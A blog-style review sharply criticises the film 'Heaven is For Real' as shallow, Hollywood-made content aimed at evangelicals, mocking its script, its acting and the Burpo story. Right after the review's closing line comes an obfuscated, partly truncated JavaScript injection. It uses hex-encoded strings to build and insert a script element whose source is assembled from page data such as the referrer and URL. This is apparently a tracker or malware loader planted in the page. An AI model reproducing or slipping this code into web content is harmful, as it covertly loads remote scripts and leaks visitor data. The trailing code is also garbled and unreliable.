Heaven is For Real: How Todd Burpo and Hollywood Fleeced Christianity.

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Heaven is For Real: How Todd Burpo and Hollywood Fleeced Christianity.

A Christian filmmaker friend of mine told me how excited he was for the state of Christian film. He has high hopes that Heaven is For Real will make a lot of money at the box office. Even though he doesn’t agree with the aberrant theology of Heaven is For Real, he believes that lots of evangelicals lining up to see a film marketed towards Christians is a good thing.

Christians lined up to see Heaven is For Real is no more a good thing, than lines of hungry children in Africa lined up to receive free, two year old stale rice cakes. They are not lined up because they enjoy stale rice cakes, they are lined up because they are starving to death.

Christians are starving to death, and Hollywood doesn’t feed them real food. They feed them stale rice cakes packaged in films like Heaven is For Real.

Heaven is For Real is the real life, honest to goodness, without any doubt, true story, of Pastor Todd Burpo and his son Colton. Todd’s son Colton is forced to have a sudden appendectomy. He doesn’t die on the table, but he does have an anesthesia induced vision of Heaven.

Colton believed that while under the knife he went to heaven and saw Jesus. He remembered multiple details, even exactly what Jesus looks like.

When I had heart surgery as a teenager, while under the knife, I dreamed I was Super Mario. I can tell you the exact block colors and everything. It was amazingly realistic. Perhaps I should write a book. I’ll title it: Mario Is for Real.

Todd Burpo is a loving, sacrificial, hard-working, small town pastor who needs to find a way to pay his bills. He is played by Greg Kinnear, who also plays Keegan Deane an alcoholic, who is addicted to gambling and buying prostitutes on FOX’s Rake. Keegan, like Pastor Todd, also needs to find ways to pay his bills, or bookies. Greg Kinnear is a great actor. For a moment I almost believed he was a Christian.

Colton Burpo is played by Connor Corum. His acting abilities are notably terrible. He has very few speaking lines and about 95% of all his scenes are just him staring into space and making really strange faces as if they filmed them really quickly during the few moments on set he was still.

But the acting in Heaven is For Real doesn’t matter. No amount of good acting can make up for a terrible script. But this is not just a terrible script. It’s an insulting script. This is a script written by a major studio, specifically to cater to the evangelical market–Assembly line Christianity. It’s completely contrived in every way. This is Hollywood mocking Christianity in every frame, knowing that evangelicals will eat it up.

This is what Hollywood thinks of Christians. This is the kind of script Hollywood thinks Christians want–every cheesy religious joke; every emotional moment; every tear. I felt like I was being picked on in High School again. I can just see Sony Picture execs laughing as they take your money to the bank and use it to make the next Spider-Man film, which you will also go and see.

Most disturbing is what seems to be 80% of the film is Greg Kinnear preaching the most happy feel good sermons he can in Church. One scene has Burpo preaching as he picks up his closed Bible and looks at it as if almost to say, I should open this thing some day. He immediately regrets the thought and places it back on the pulpit, closed.

Towards the end of the movie, just before preaching, Pastor Burpo uses a piece of paper with notes about his son’s visions to cover up the pages of the Bible. That scene moved me. I laughed at its apparent self-awareness that Todd has determined not preach the Bible anymore.

Perhaps director Randall Wallace is aware of that, too, and was trying to warn us that Burpo found a way to pay his bills after all. And now he doesn’t have to eat stale rice cakes. 42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}